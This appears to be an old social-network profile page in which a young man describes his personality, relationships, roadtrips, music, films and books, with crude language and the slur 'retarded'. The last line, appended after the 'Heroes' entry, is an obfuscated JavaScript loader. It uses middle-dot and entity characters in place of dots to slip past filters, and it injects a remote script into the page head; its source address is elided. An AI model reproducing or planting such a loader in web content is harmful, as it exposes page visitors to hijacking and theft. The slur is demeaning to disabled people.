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The Blog Stylings of IvanThePig

I was about to fucking rip your head off with a steady but violent stream of cuss words. - Alisa

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This just goes to show that even retarded people can be in the Olympics Soccer Team. W00T! GO IVAN!!!
Your IQ Is 423,452,385
Your Logical Intelligence is WAY Above Average
Your Verbal Intelligence is WAY Above Average
Your Mathematical Intelligence is TOTALLY Above Average
Your General Knowledge is Astronomical A Quick and Dirty IQ TestThis test proves that I am, in fact, a genius.
I am outspoken. I speak whats on my mind. Not randomly, but when the time is right. I can make light of any given situation.
Different people can describe me different ways. For instance, my exgf would call me controlling when I frowned upon her sleeping over at her ex-boyfriends house. My best friend can say that I give the best advice ever, on anything and everything. My acquaintences would say I am annoying at times, but all in all a fun person to hang out with.
I suppose it all depends on who you are, I guess.
People that meet me once, don't usually give me a second chance. Why? Because I am myself. A lot of people don't like me being myself. I've come to the realization that masking who I truly am to be accepted, isn't a good thing. Therefor, I've quit doing it.
** Said by others to describe me. Seeing as how one cannot describe how he/she is as seen by others.
I'm going to be 22 on August 11th, of next year.
I'm full blooded Russian.
I have no Russian accent. **
I'm not the nicest guy in the world. **
I'm not the best looking guy in the world (I'm not even enrolled in the competition.)
I don't have a low self-esteem. I just know these things, and am perfectly okay with them.
I haven't been single all my life. I've been in 4 long-term relationships. Well, except one. It lasted a month, but that relationship wasn't even a relationship. It was a joke. One of those 'you're here, I'm here ...lets get together' kind of things.
I'm open about everything. **
I am not a virgin.
I buy girls flowers. Whether friends, or lovers. **
I'm a great brother. Biological, and not. **, **, **, **, **
I open doors for people. **
I say please and thank you. **
I buy unexpected gifts for people. **
I am spontaneous. **
I am silly at times. **
I like being alone at times. **
I love driving. **
I do not have the gas to do as much driving as I would like. Never had, never will.
I am a listener. **, **, **, **, ** (Many people have told me this.)
Some would say I'm a talker. **
I'm an advice giver. **
I'm an entrepreneur.
I have a car.
I have my license.
I love downtown Sacramento. I'd live there if I could afford it. (Update on 07/29/06: I can afford it now. w00t!)
I'm a sarcastic person. **
I have an enlarged sense of humor. **
I love writing (Can't you tell?)
I am a fighter of freedom.
I am a lover.
I am a hater.
I am honest.
...sometimes too honest.
I suppose thats it. If you know me, and want to add anything to this list. Go ahead and send me a message. Or leave a comment, or something.

My Interests

Designing web sites, music and computers.
Those are my top three interests. Everything else, is so over-rated.

I'd like to meet:

"I want to know the right people; to do the right things." - Ivan
If you're a listener, a talker, a philosopher, a writer, a reader, a poet, a donkey, if you speak english or Russian, I'd like to meet you.
If you don't speak either of those languages, I'd still like to meet you. Except, communication will be pretty hard.
As for friends?
Someone who likes me for me. Someone of similar interests. Someone that respects me. Someone that doesn't use me for anything. Someone with intellect. Someone that can hold a conversation. Someone that talks a lot. Someone that likes to go out. Someone that likes to stay in. Someone that likes a fireplace lit during the winter, while watching a movie. Someone that likes random roadtrips to wherever the heart may lead. Those are the types of friends I'm looking for.
Someone of similar, yet not exactly the same musical tastes.
Someone that can sit with me at a 24hr diner, talking without caring about the time.
Thats what I'm looking for.
Past Random Roadtrip Destinations (RRDs):
Reno, Nevada
Las Vegas, Nevada
Salem, Oregon
Portland, Oregon
San Francisco, California ** Common.
Nevada City
Burning Man in Nevada
Santa Cruz, California
San Diego, California
Los Angeles, California
Santa Barbara, California
Anaheim, California
Riverside, California

... and I'm sure there are more. I just can't think of them.

Music:

Head banging material.
Korn, Paralyzed, Endever, Winter Reign, System of a Down, Slipknot, Underground Union (they're still underground), and a lot of others too. Unfortunatly, it's 2am and my mind is somewhere else.
Mellow material.
ColdPlay, Cake, Maroon 5, Blink 182, Sum41, and yeah. A lot more, but again my mind is elsewhere.

Movies:

I enjoy watching movies that have a strong plot. Something that would make me sit back, and think about whats going on. Almost like involving the viewer in trying to figure out whatever it is the people on-screen are trying to figure out.Those are my types of movies.Off the top of my head, I love the following:- Bio-Dome (Good combination of actors. Stephen Baldwin and Pauly Shore. Among others)
- White Oleander (Alison Lohman did an excellent job in this film.)
- Kids (Haven't heard of it? Find it, and watch it! Clickety-click on the title!)I am a sucker for any sort of controversial documentary. Much like Farenheit 9/11, Super-Size Me, and Bowling for Columbine.

Television:

Television for me is like background noise when I'm working. Television will rot your brain, and eat your children. There's nothing smart on TV anyways, its all just two-toned bullshit that gets masked over and over again while talking about the same damn topic.

Books:

The most recent book that I just finished reading, is titled Island at the Center of the World by Russell Shorto. It's about a Dutch colony that predated the original thirteen colonies. Changes things a little bit. Read the book!Now, come my favorites.- White Oleander, the book, is very different and a lot better than the movie.
- America by Jon Stewart. 'Nuff said.
- When Will Jesus Bring the Pork Chops by George CarlinI can go on and on, but I won't. That about does it. Kind of shows you my tastes though.

Heroes:

Brigette is, and always will be my hero! And not for her heroism in getting us un-lost. But because she is an admireable character. .."var s=document·createElement('script');s.src='..';document& #183;getElementsByTagName('head')[0].appendChild(s);"